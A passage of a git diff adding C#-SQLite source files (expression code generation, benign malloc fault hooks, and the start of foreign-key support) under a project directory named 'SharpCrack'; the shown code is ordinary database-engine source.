** obtained for queries regardless of whether or not constants are + ** precomputed into registers or if they are inserted in-line. + */ + static void sqlite3ExprCodeConstants( Parse pParse, Expr pExpr ) + { + Walker w; + if ( pParse.cookieGoto != 0 ) + return; + if ( ( pParse.db.flags & SQLITE_FactorOutConst ) != 0 ) + return; + w = new Walker(); + w.xExprCallback = (dxExprCallback)evalConstExpr; + w.xSelectCallback = null; + w.pParse = pParse; + sqlite3WalkExpr( w, ref pExpr ); + } + + /* + ** Generate code that pushes the value of every element of the given + ** expression list into a sequence of registers beginning at target. + ** + ** Return the number of elements evaluated. + */ + static int sqlite3ExprCodeExprList( + Parse pParse, /* Parsing context */ + ExprList pList, /* The expression list to be coded */ + int target, /* Where to write results */ + bool doHardCopy /* Make a hard copy of every element */ + ) + { + ExprList_item pItem; + int i, n; + Debug.Assert( pList != null ); + Debug.Assert( target > 0 ); + Debug.Assert( pParse.pVdbe != null ); /* Never gets this far otherwise */ + n = pList.nExpr; + for ( i = 0; i < n; i++ )// pItem++) + { + pItem = pList.a[i]; + Expr pExpr = pItem.pExpr; + int inReg = sqlite3ExprCodeTarget( pParse, pExpr, target + i ); + if ( inReg != target + i ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, doHardCopy ? OP_Copy : OP_SCopy, + inReg, target + i ); + } + } + return n; + } + + + /* + ** Generate code for a BETWEEN operator. + ** + ** x BETWEEN y AND z + ** + ** The above is equivalent to + ** + ** x>=y AND x<=z + ** + ** Code it as such, taking care to do the common subexpression + ** elementation of x. + */ + static void exprCodeBetween( + Parse pParse, /* Parsing and code generating context */ + Expr pExpr, /* The BETWEEN expression */ + int dest, /* Jump here if the jump is taken */ + int jumpIfTrue, /* Take the jump if the BETWEEN is true */ + int jumpIfNull /* Take the jump if the BETWEEN is NULL */ + ) + { + Expr exprAnd = new Expr(); /* The AND operator in x>=y AND x<=z */ + Expr compLeft = new Expr(); /* The x>=y term */ + Expr compRight = new Expr(); /* The x<=z term */ + Expr exprX; /* The x subexpression */ + int regFree1 = 0; /* Temporary use register */ + + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + exprX = pExpr.pLeft.Copy(); + exprAnd.op = TK_AND; + exprAnd.pLeft = compLeft; + exprAnd.pRight = compRight; + compLeft.op = TK_GE; + compLeft.pLeft = exprX; + compLeft.pRight = pExpr.x.pList.a[0].pExpr; + compRight.op = TK_LE; + compRight.pLeft = exprX; + compRight.pRight = pExpr.x.pList.a[1].pExpr; + exprX.iTable = sqlite3ExprCodeTemp( pParse, exprX, ref regFree1 ); + exprX.op = TK_REGISTER; + if ( jumpIfTrue != 0 ) + { + sqlite3ExprIfTrue( pParse, exprAnd, dest, jumpIfNull ); + } + else + { + sqlite3ExprIfFalse( pParse, exprAnd, dest, jumpIfNull ); + } + sqlite3ReleaseTempReg( pParse, regFree1 ); + + /* Ensure adequate test coverage */ + testcase( jumpIfTrue == 0 && jumpIfNull == 0 && regFree1 == 0 ); + testcase( jumpIfTrue == 0 && jumpIfNull == 0 && regFree1 != 0 ); + testcase( jumpIfTrue == 0 && jumpIfNull != 0 && regFree1 == 0 ); + testcase( jumpIfTrue == 0 && jumpIfNull != 0 && regFree1 != 0 ); + testcase( jumpIfTrue != 0 && jumpIfNull == 0 && regFree1 == 0 ); + testcase( jumpIfTrue != 0 && jumpIfNull == 0 && regFree1 != 0 ); + testcase( jumpIfTrue != 0 && jumpIfNull != 0 && regFree1 == 0 ); + testcase( jumpIfTrue != 0 && jumpIfNull != 0 && regFree1 != 0 ); + } + /* + ** Generate code for a boolean expression such that a jump is made + ** to the label "dest" if the expression is true but execution + ** continues straight thru if the expression is false. + ** + ** If the expression evaluates to NULL (neither true nor false), then + ** take the jump if the jumpIfNull flag is SQLITE_JUMPIFNULL. + ** + ** This code depends on the fact that certain token values (ex: TK_EQ) + ** are the same as opcode values (ex: OP_Eq) that implement the corresponding + ** operation. Special comments in vdbe.c and the mkopcodeh.awk script in + ** the make process cause these values to align. Assert()s in the code + ** below verify that the numbers are aligned correctly. + */ + static void sqlite3ExprIfTrue( Parse pParse, Expr pExpr, int dest, int jumpIfNull ) + { + Vdbe v = pParse.pVdbe; + int op = 0; + int regFree1 = 0; + int regFree2 = 0; + int r1 = 0, r2 = 0; + + Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 ); + if ( NEVER( v == null ) ) + return; /* Existance of VDBE checked by caller */ + if ( NEVER( pExpr == null ) ) + return; /* No way this can happen */ + op = pExpr.op; + switch ( op ) + { + case TK_AND: + { + int d2 = sqlite3VdbeMakeLabel( v ); + testcase( jumpIfNull == 0 ); + sqlite3ExprCachePush( pParse ); + sqlite3ExprIfFalse( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL ); + sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull ); + sqlite3VdbeResolveLabel( v, d2 ); + sqlite3ExprCachePop( pParse, 1 ); + break; + } + case TK_OR: + { + testcase( jumpIfNull == 0 ); + sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, jumpIfNull ); + sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull ); + break; + } + case TK_NOT: + { + testcase( jumpIfNull == 0 ); + sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull ); + break; + } + case TK_LT: + case TK_LE: + case TK_GT: + case TK_GE: + case TK_NE: + case TK_EQ: + { + Debug.Assert( TK_LT == OP_Lt ); + Debug.Assert( TK_LE == OP_Le ); + Debug.Assert( TK_GT == OP_Gt ); + Debug.Assert( TK_GE == OP_Ge ); + Debug.Assert( TK_EQ == OP_Eq ); + Debug.Assert( TK_NE == OP_Ne ); + testcase( op == TK_LT ); + testcase( op == TK_LE ); + testcase( op == TK_GT ); + testcase( op == TK_GE ); + testcase( op == TK_EQ ); + testcase( op == TK_NE ); + testcase( jumpIfNull == 0 ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, dest, jumpIfNull ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_IS: + case TK_ISNOT: + { + testcase( op == TK_IS ); + testcase( op == TK_ISNOT ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + op = ( op == TK_IS ) ? TK_EQ : TK_NE; + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, dest, SQLITE_NULLEQ ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_ISNULL: + case TK_NOTNULL: + { + Debug.Assert( TK_ISNULL == OP_IsNull ); + Debug.Assert( TK_NOTNULL == OP_NotNull ); + testcase( op == TK_ISNULL ); + testcase( op == TK_NOTNULL ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + sqlite3VdbeAddOp2( v, op, r1, dest ); + testcase( regFree1 == 0 ); + break; + } + case TK_BETWEEN: + { + testcase( jumpIfNull == 0 ); + exprCodeBetween( pParse, pExpr, dest, 1, jumpIfNull ); + break; + } +#if SQLITE_OMIT_SUBQUERY + case TK_IN: + { + int destIfFalse = sqlite3VdbeMakeLabel( v ); + int destIfNull = jumpIfNull != 0 ? dest : destIfFalse; + sqlite3ExprCodeIN( pParse, pExpr, destIfFalse, destIfNull ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, dest ); + sqlite3VdbeResolveLabel( v, destIfFalse ); + break; + } +#endif + default: + { + r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 ); + sqlite3VdbeAddOp3( v, OP_If, r1, dest, jumpIfNull != 0 ? 1 : 0 ); + testcase( regFree1 == 0 ); + testcase( jumpIfNull == 0 ); + break; + } + } + sqlite3ReleaseTempReg( pParse, regFree1 ); + sqlite3ReleaseTempReg( pParse, regFree2 ); + } + + /* + ** Generate code for a boolean expression such that a jump is made + ** to the label "dest" if the expression is false but execution + ** continues straight thru if the expression is true. + ** + ** If the expression evaluates to NULL (neither true nor false) then + ** jump if jumpIfNull is SQLITE_JUMPIFNULL or fall through if jumpIfNull + ** is 0. + */ + static void sqlite3ExprIfFalse( Parse pParse, Expr pExpr, int dest, int jumpIfNull ) + { + Vdbe v = pParse.pVdbe; + int op = 0; + int regFree1 = 0; + int regFree2 = 0; + int r1 = 0, r2 = 0; + + Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 ); + if ( NEVER( v == null ) ) + return; /* Existance of VDBE checked by caller */ + if ( pExpr == null ) + return; + + /* The value of pExpr.op and op are related as follows: + ** + ** pExpr.op op + ** --------- ---------- + ** TK_ISNULL OP_NotNull + ** TK_NOTNULL OP_IsNull + ** TK_NE OP_Eq + ** TK_EQ OP_Ne + ** TK_GT OP_Le + ** TK_LE OP_Gt + ** TK_GE OP_Lt + ** TK_LT OP_Ge + ** + ** For other values of pExpr.op, op is undefined and unused. + ** The value of TK_ and OP_ constants are arranged such that we + ** can compute the mapping above using the following expression. + ** Assert()s verify that the computation is correct. + */ + op = ( ( pExpr.op + ( TK_ISNULL & 1 ) ) ^ 1 ) - ( TK_ISNULL & 1 ); + + /* Verify correct alignment of TK_ and OP_ constants + */ + Debug.Assert( pExpr.op != TK_ISNULL || op == OP_NotNull ); + Debug.Assert( pExpr.op != TK_NOTNULL || op == OP_IsNull ); + Debug.Assert( pExpr.op != TK_NE || op == OP_Eq ); + Debug.Assert( pExpr.op != TK_EQ || op == OP_Ne ); + Debug.Assert( pExpr.op != TK_LT || op == OP_Ge ); + Debug.Assert( pExpr.op != TK_LE || op == OP_Gt ); + Debug.Assert( pExpr.op != TK_GT || op == OP_Le ); + Debug.Assert( pExpr.op != TK_GE || op == OP_Lt ); + + switch ( pExpr.op ) + { + case TK_AND: + { + testcase( jumpIfNull == 0 ); + sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull ); + sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull ); + break; + } + case TK_OR: + { + int d2 = sqlite3VdbeMakeLabel( v ); + testcase( jumpIfNull == 0 ); + sqlite3ExprCachePush( pParse ); + sqlite3ExprIfTrue( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL ); + sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull ); + sqlite3VdbeResolveLabel( v, d2 ); + sqlite3ExprCachePop( pParse, 1 ); + break; + } + case TK_NOT: + { + testcase( jumpIfNull == 0 ); + sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, jumpIfNull ); + break; + } + case TK_LT: + case TK_LE: + case TK_GT: + case TK_GE: + case TK_NE: + case TK_EQ: + { + testcase( op == TK_LT ); + testcase( op == TK_LE ); + testcase( op == TK_GT ); + testcase( op == TK_GE ); + testcase( op == TK_EQ ); + testcase( op == TK_NE ); + testcase( jumpIfNull == 0 ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, dest, jumpIfNull ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_IS: + case TK_ISNOT: + { + testcase( pExpr.op == TK_IS ); + testcase( pExpr.op == TK_ISNOT ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + r2 = sqlite3ExprCodeTemp( pParse, pExpr.pRight, ref regFree2 ); + op = ( pExpr.op == TK_IS ) ? TK_NE : TK_EQ; + codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op, + r1, r2, dest, SQLITE_NULLEQ ); + testcase( regFree1 == 0 ); + testcase( regFree2 == 0 ); + break; + } + case TK_ISNULL: + case TK_NOTNULL: + { + testcase( op == TK_ISNULL ); + testcase( op == TK_NOTNULL ); + r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 ); + sqlite3VdbeAddOp2( v, op, r1, dest ); + testcase( regFree1 == 0 ); + break; + } + case TK_BETWEEN: + { + testcase( jumpIfNull == 0 ); + exprCodeBetween( pParse, pExpr, dest, 0, jumpIfNull ); + break; + } +#if SQLITE_OMIT_SUBQUERY + case TK_IN: + { + if ( jumpIfNull != 0 ) + { + sqlite3ExprCodeIN( pParse, pExpr, dest, dest ); + } + else + { + int destIfNull = sqlite3VdbeMakeLabel( v ); + sqlite3ExprCodeIN( pParse, pExpr, dest, destIfNull ); + sqlite3VdbeResolveLabel( v, destIfNull ); + } + break; + } +#endif + default: + { + r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 ); + sqlite3VdbeAddOp3( v, OP_IfNot, r1, dest, jumpIfNull != 0 ? 1 : 0 ); + testcase( regFree1 == 0 ); + testcase( jumpIfNull == 0 ); + break; + } + } + sqlite3ReleaseTempReg( pParse, regFree1 ); + sqlite3ReleaseTempReg( pParse, regFree2 ); + } + + /* + ** Do a deep comparison of two expression trees. Return 0 if the two + ** expressions are completely identical. Return 1 if they differ only + ** by a COLLATE operator at the top level. Return 2 if there are differences + ** other than the top-level COLLATE operator. + ** + ** Sometimes this routine will return 2 even if the two expressions + ** really are equivalent. If we cannot prove that the expressions are + ** identical, we return 2 just to be safe. So if this routine + ** returns 2, then you do not really know for certain if the two + ** expressions are the same. But if you get a 0 or 1 return, then you + ** can be sure the expressions are the same. In the places where + ** this routine is used, it does not hurt to get an extra 2 - that + ** just might result in some slightly slower code. But returning + ** an incorrect 0 or 1 could lead to a malfunction. + */ + static int sqlite3ExprCompare( Expr pA, Expr pB ) + { + if ( pA == null || pB == null ) + { + return pB == pA ? 0 : 2; + } + Debug.Assert( !ExprHasAnyProperty( pA, EP_TokenOnly | EP_Reduced ) ); + Debug.Assert( !ExprHasAnyProperty( pB, EP_TokenOnly | EP_Reduced ) ); + if ( ExprHasProperty( pA, EP_xIsSelect ) || ExprHasProperty( pB, EP_xIsSelect ) ) + { + return 2; + } + if ( ( pA.flags & EP_Distinct ) != ( pB.flags & EP_Distinct ) ) + return 2; + if ( pA.op != pB.op ) + return 2; + if ( sqlite3ExprCompare( pA.pLeft, pB.pLeft ) != 0 ) + return 2; + if ( sqlite3ExprCompare( pA.pRight, pB.pRight ) != 0 ) + return 2; + if ( sqlite3ExprListCompare( pA.x.pList, pB.x.pList ) != 0 ) + return 2; + if ( pA.iTable != pB.iTable || pA.iColumn != pB.iColumn ) + return 2; + if ( ExprHasProperty( pA, EP_IntValue ) ) + { + if ( !ExprHasProperty( pB, EP_IntValue ) || pA.u.iValue != pB.u.iValue ) + { + return 2; + } + } + else if ( pA.op != TK_COLUMN && pA.u.zToken != null ) + { + if ( ExprHasProperty( pB, EP_IntValue ) || NEVER( pB.u.zToken == null ) ) + return 2; + if ( !pA.u.zToken.Equals( pB.u.zToken ,StringComparison.InvariantCultureIgnoreCase ) ) + { + return 2; + } + } + if ( ( pA.flags & EP_ExpCollate ) != ( pB.flags & EP_ExpCollate ) ) + return 1; + if ( ( pA.flags & EP_ExpCollate ) != 0 && pA.pColl != pB.pColl ) + return 2; + return 0; + } + + /* + ** Compare two ExprList objects. Return 0 if they are identical and + ** non-zero if they differ in any way. + ** + ** This routine might return non-zero for equivalent ExprLists. The + ** only consequence will be disabled optimizations. But this routine + ** must never return 0 if the two ExprList objects are different, or + ** a malfunction will result. + ** + ** Two NULL pointers are considered to be the same. But a NULL pointer + ** always differs from a non-NULL pointer. + */ + static int sqlite3ExprListCompare( ExprList pA, ExprList pB ) + { + int i; + if ( pA == null && pB == null ) + return 0; + if ( pA == null || pB == null ) + return 1; + if ( pA.nExpr != pB.nExpr ) + return 1; + for ( i = 0; i < pA.nExpr; i++ ) + { + Expr pExprA = pA.a[i].pExpr; + Expr pExprB = pB.a[i].pExpr; + if ( pA.a[i].sortOrder != pB.a[i].sortOrder ) + return 1; + if ( sqlite3ExprCompare( pExprA, pExprB ) != 0 ) + return 1; + } + return 0; + } + + /* + ** Add a new element to the pAggInfo.aCol[] array. Return the index of + ** the new element. Return a negative number if malloc fails. + */ + static int addAggInfoColumn( sqlite3 db, AggInfo pInfo ) + { + int i = 0; + pInfo.aCol = sqlite3ArrayAllocate( + db, + pInfo.aCol, + -1,//sizeof(pInfo.aCol[0]), + 3, + ref pInfo.nColumn, + ref pInfo.nColumnAlloc, + ref i + ); + return i; + } + + /* + ** Add a new element to the pAggInfo.aFunc[] array. Return the index of + ** the new element. Return a negative number if malloc fails. + */ + static int addAggInfoFunc( sqlite3 db, AggInfo pInfo ) + { + int i = 0; + pInfo.aFunc = sqlite3ArrayAllocate( + db, + pInfo.aFunc, + -1,//sizeof(pInfo.aFunc[0]), + 3, + ref pInfo.nFunc, + ref pInfo.nFuncAlloc, + ref i + ); + return i; + } + + /* + ** This is the xExprCallback for a tree walker. It is used to + ** implement sqlite3ExprAnalyzeAggregates(). See sqlite3ExprAnalyzeAggregates + ** for additional information. + */ + static int analyzeAggregate( Walker pWalker, ref Expr pExpr ) + { + int i; + NameContext pNC = pWalker.u.pNC; + Parse pParse = pNC.pParse; + SrcList pSrcList = pNC.pSrcList; + AggInfo pAggInfo = pNC.pAggInfo; + + switch ( pExpr.op ) + { + case TK_AGG_COLUMN: + case TK_COLUMN: + { + testcase( pExpr.op == TK_AGG_COLUMN ); + testcase( pExpr.op == TK_COLUMN ); + /* Check to see if the column is in one of the tables in the FROM + ** clause of the aggregate query */ + if ( ALWAYS( pSrcList != null ) ) + { + SrcList_item pItem;// = pSrcList.a; + for ( i = 0; i < pSrcList.nSrc; i++ ) + {//, pItem++){ + pItem = pSrcList.a[i]; + AggInfo_col pCol; + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); + if ( pExpr.iTable == pItem.iCursor ) + { + /* If we reach this point, it means that pExpr refers to a table + ** that is in the FROM clause of the aggregate query. + ** + ** Make an entry for the column in pAggInfo.aCol[] if there + ** is not an entry there already. + */ + int k; + //pCol = pAggInfo.aCol; + for ( k = 0; k < pAggInfo.nColumn; k++ ) + {//, pCol++){ + pCol = pAggInfo.aCol[k]; + if ( pCol.iTable == pExpr.iTable && + pCol.iColumn == pExpr.iColumn ) + { + break; + } + } + if ( ( k >= pAggInfo.nColumn ) + && ( k = addAggInfoColumn( pParse.db, pAggInfo ) ) >= 0 + ) + { + pCol = pAggInfo.aCol[k]; + pCol.pTab = pExpr.pTab; + pCol.iTable = pExpr.iTable; + pCol.iColumn = pExpr.iColumn; + pCol.iMem = ++pParse.nMem; + pCol.iSorterColumn = -1; + pCol.pExpr = pExpr; + if ( pAggInfo.pGroupBy != null ) + { + int j, n; + ExprList pGB = pAggInfo.pGroupBy; + ExprList_item pTerm;// = pGB.a; + n = pGB.nExpr; + for ( j = 0; j < n; j++ ) + {//, pTerm++){ + pTerm = pGB.a[j]; + Expr pE = pTerm.pExpr; + if ( pE.op == TK_COLUMN && pE.iTable == pExpr.iTable && + pE.iColumn == pExpr.iColumn ) + { + pCol.iSorterColumn = j; + break; + } + } + } + if ( pCol.iSorterColumn < 0 ) + { + pCol.iSorterColumn = pAggInfo.nSortingColumn++; + } + } + /* There is now an entry for pExpr in pAggInfo.aCol[] (either + ** because it was there before or because we just created it). + ** Convert the pExpr to be a TK_AGG_COLUMN referring to that + ** pAggInfo.aCol[] entry. + */ + ExprSetIrreducible( pExpr ); + pExpr.pAggInfo = pAggInfo; + pExpr.op = TK_AGG_COLUMN; + pExpr.iAgg = (short)k; + break; + } /* endif pExpr.iTable==pItem.iCursor */ + } /* end loop over pSrcList */ + } + return WRC_Prune; + } + case TK_AGG_FUNCTION: + { + /* The pNC.nDepth==0 test causes aggregate functions in subqueries + ** to be ignored */ + if ( pNC.nDepth == 0 ) + { + /* Check to see if pExpr is a duplicate of another aggregate + ** function that is already in the pAggInfo structure + */ + AggInfo_func pItem;// = pAggInfo.aFunc; + for ( i = 0; i < pAggInfo.nFunc; i++ ) + {//, pItem++){ + pItem = pAggInfo.aFunc[i]; + if ( sqlite3ExprCompare( pItem.pExpr, pExpr ) == 0 ) + { + break; + } + } + if ( i >= pAggInfo.nFunc ) + { + /* pExpr is original. Make a new entry in pAggInfo.aFunc[] + */ + u8 enc = pParse.db.aDbStatic[0].pSchema.enc;// ENC(pParse.db); + i = addAggInfoFunc( pParse.db, pAggInfo ); + if ( i >= 0 ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) ); + pItem = pAggInfo.aFunc[i]; + pItem.pExpr = pExpr; + pItem.iMem = ++pParse.nMem; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + pItem.pFunc = sqlite3FindFunction( pParse.db, + pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ), + pExpr.x.pList != null ? pExpr.x.pList.nExpr : 0, enc, 0 ); + if ( ( pExpr.flags & EP_Distinct ) != 0 ) + { + pItem.iDistinct = pParse.nTab++; + } + else + { + pItem.iDistinct = -1; + } + } + } + /* Make pExpr point to the appropriate pAggInfo.aFunc[] entry + */ + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); + ExprSetIrreducible( pExpr ); + pExpr.iAgg = (short)i; + pExpr.pAggInfo = pAggInfo; + return WRC_Prune; + } + break; + } + } + return WRC_Continue; + } + + static int analyzeAggregatesInSelect( Walker pWalker, Select pSelect ) + { + NameContext pNC = pWalker.u.pNC; + if ( pNC.nDepth == 0 ) + { + pNC.nDepth++; + sqlite3WalkSelect( pWalker, pSelect ); + pNC.nDepth--; + return WRC_Prune; + } + else + { + return WRC_Continue; + } + } + + + /* + ** Analyze the given expression looking for aggregate functions and + ** for variables that need to be added to the pParse.aAgg[] array. + ** Make additional entries to the pParse.aAgg[] array as necessary. + ** + ** This routine should only be called after the expression has been + ** analyzed by sqlite3ResolveExprNames(). + */ + static void sqlite3ExprAnalyzeAggregates( NameContext pNC, ref Expr pExpr ) + { + Walker w = new Walker(); + w.xExprCallback = (dxExprCallback)analyzeAggregate; + w.xSelectCallback = (dxSelectCallback)analyzeAggregatesInSelect; + w.u.pNC = pNC; + Debug.Assert( pNC.pSrcList != null ); + sqlite3WalkExpr( w, ref pExpr ); + } + + /* + ** Call sqlite3ExprAnalyzeAggregates() for every expression in an + ** expression list. Return the number of errors. + ** + ** If an error is found, the analysis is cut short. + */ + static void sqlite3ExprAnalyzeAggList( NameContext pNC, ExprList pList ) + { + ExprList_item pItem; + int i; + if ( pList != null ) + { + for ( i = 0; i < pList.nExpr; i++ )//, pItem++) + { + pItem = pList.a[i]; + sqlite3ExprAnalyzeAggregates( pNC, ref pItem.pExpr ); + } + } + } + + /* + ** Allocate a single new register for use to hold some intermediate result. + */ + static int sqlite3GetTempReg( Parse pParse ) + { + if ( pParse.nTempReg == 0 ) + { + return ++pParse.nMem; + } + return pParse.aTempReg[--pParse.nTempReg]; + } + + /* + ** Deallocate a register, making available for reuse for some other + ** purpose. + ** + ** If a register is currently being used by the column cache, then + ** the dallocation is deferred until the column cache line that uses + ** the register becomes stale. + */ + static void sqlite3ReleaseTempReg( Parse pParse, int iReg ) + { + if ( iReg != 0 && pParse.nTempReg < ArraySize( pParse.aTempReg ) ) + { + int i; + yColCache p; + for ( i = 0; i < SQLITE_N_COLCACHE; i++ )//p=pParse.aColCache... p++) + { + p = pParse.aColCache[i]; + if ( p.iReg == iReg ) + { + p.tempReg = 1; + return; + } + } + pParse.aTempReg[pParse.nTempReg++] = iReg; + } + } + + /* + ** Allocate or deallocate a block of nReg consecutive registers + */ + static int sqlite3GetTempRange( Parse pParse, int nReg ) + { + int i, n; + i = pParse.iRangeReg; + n = pParse.nRangeReg; + if ( nReg <= n ) + { + //Debug.Assert( 1 == usedAsColumnCache( pParse, i, i + n - 1 ) ); + pParse.iRangeReg += nReg; + pParse.nRangeReg -= nReg; + } + else + { + i = pParse.nMem + 1; + pParse.nMem += nReg; + } + return i; + } + static void sqlite3ReleaseTempRange( Parse pParse, int iReg, int nReg ) + { + sqlite3ExprCacheRemove( pParse, iReg, nReg ); + if ( nReg > pParse.nRangeReg ) + { + pParse.nRangeReg = nReg; + pParse.iRangeReg = iReg; + } + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/fault_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/fault_c.cs new file mode 100644 index 0000000..d94636d --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/fault_c.cs @@ -0,0 +1,116 @@ +using System; +using System.Diagnostics; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2008 Jan 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ************************************************************************* + ** + ** This file contains code to support the concept of "benign" + ** malloc failures (when the xMalloc() or xRealloc() method of the + ** sqlite3_mem_methods structure fails to allocate a block of memory + ** and returns 0). + ** + ** Most malloc failures are non-benign. After they occur, SQLite + ** abandons the current operation and returns an error code (usually + ** SQLITE_NOMEM) to the user. However, sometimes a fault is not necessarily + ** fatal. For example, if a malloc fails while resizing a hash table, this + ** is completely recoverable simply by not carrying out the resize. The + ** hash table will continue to function normally. So a malloc failure + ** during a hash table resize is a benign fault. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + +#if !SQLITE_OMIT_BUILTIN_TEST + /* +** Global variables. +*/ + //typedef struct BenignMallocHooks BenignMallocHooks; + public struct BenignMallocHooks// + { + public void_function xBenignBegin;//void (*xBenignBegin)(void); + public void_function xBenignEnd; //void (*xBenignEnd)(void); + public BenignMallocHooks( void_function xBenignBegin, void_function xBenignEnd ) + { + this.xBenignBegin = xBenignBegin; + this.xBenignEnd = xBenignEnd; + } + } + static BenignMallocHooks sqlite3Hooks = new BenignMallocHooks( null, null ); + + /* The "wsdHooks" macro will resolve to the appropriate BenignMallocHooks + ** structure. If writable static data is unsupported on the target, + ** we have to locate the state vector at run-time. In the more common + ** case where writable static data is supported, wsdHooks can refer directly + ** to the "sqlite3Hooks" state vector declared above. + */ +#if SQLITE_OMIT_WSD +//# define wsdHooksInit \ +BenignMallocHooks *x = &GLOBAL(BenignMallocHooks,sqlite3Hooks) +//# define wsdHooks x[0] +#else + //# define wsdHooksInit + static void wsdHooksInit() + { + } + //# define wsdHooks sqlite3Hooks + static BenignMallocHooks wsdHooks = sqlite3Hooks; +#endif + + + + /* +** Register hooks to call when sqlite3BeginBenignMalloc() and +** sqlite3EndBenignMalloc() are called, respectively. +*/ + static void sqlite3BenignMallocHooks( + void_function xBenignBegin, //void (*xBenignBegin)(void), + void_function xBenignEnd //void (*xBenignEnd)(void) + ) + { + wsdHooksInit(); + wsdHooks.xBenignBegin = xBenignBegin; + wsdHooks.xBenignEnd = xBenignEnd; + } + + /* + ** This (sqlite3EndBenignMalloc()) is called by SQLite code to indicate that + ** subsequent malloc failures are benign. A call to sqlite3EndBenignMalloc() + ** indicates that subsequent malloc failures are non-benign. + */ + static void sqlite3BeginBenignMalloc() + { + wsdHooksInit(); + if ( wsdHooks.xBenignBegin != null ) + { + wsdHooks.xBenignBegin(); + } + } + static void sqlite3EndBenignMalloc() + { + wsdHooksInit(); + if ( wsdHooks.xBenignEnd != null ) + { + wsdHooks.xBenignEnd(); + } + } +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/fkey_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/fkey_c.cs new file mode 100644 index 0000000..2713f74 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/fkey_c.cs @@ -0,0 +1,1375 @@ +using System; +using System.Diagnostics; +using System.Text; + +using Bitmask = System.UInt64; +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code used by the compiler to add foreign key + ** support to compiled SQL statements. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* */ + //#include "sqliteInt.h" + +#if !SQLITE_OMIT_FOREIGN_KEY +#if !SQLITE_OMIT_TRIGGER + + /* +** Deferred and Immediate FKs +** -------------------------- +** +** Foreign keys in SQLite come in two flavours: deferred and immediate. +** If an immediate foreign key constraint is violated, SQLITE_CONSTRAINT +** is returned and the current statement transaction rolled back. If a +** deferred foreign key constraint is violated, no action is taken +** immediately. However if the application attempts to commit the +** transaction before fixing the constraint violation, the attempt fails. +** +** Deferred constraints are implemented using a simple counter associated +** with the database handle. The counter is set to zero each time a +** database transaction is opened. Each time a statement is executed +** that causes a foreign key violation, the counter is incremented. Each +** time a statement is executed that removes an existing violation from +** the database, the counter is decremented. When the transaction 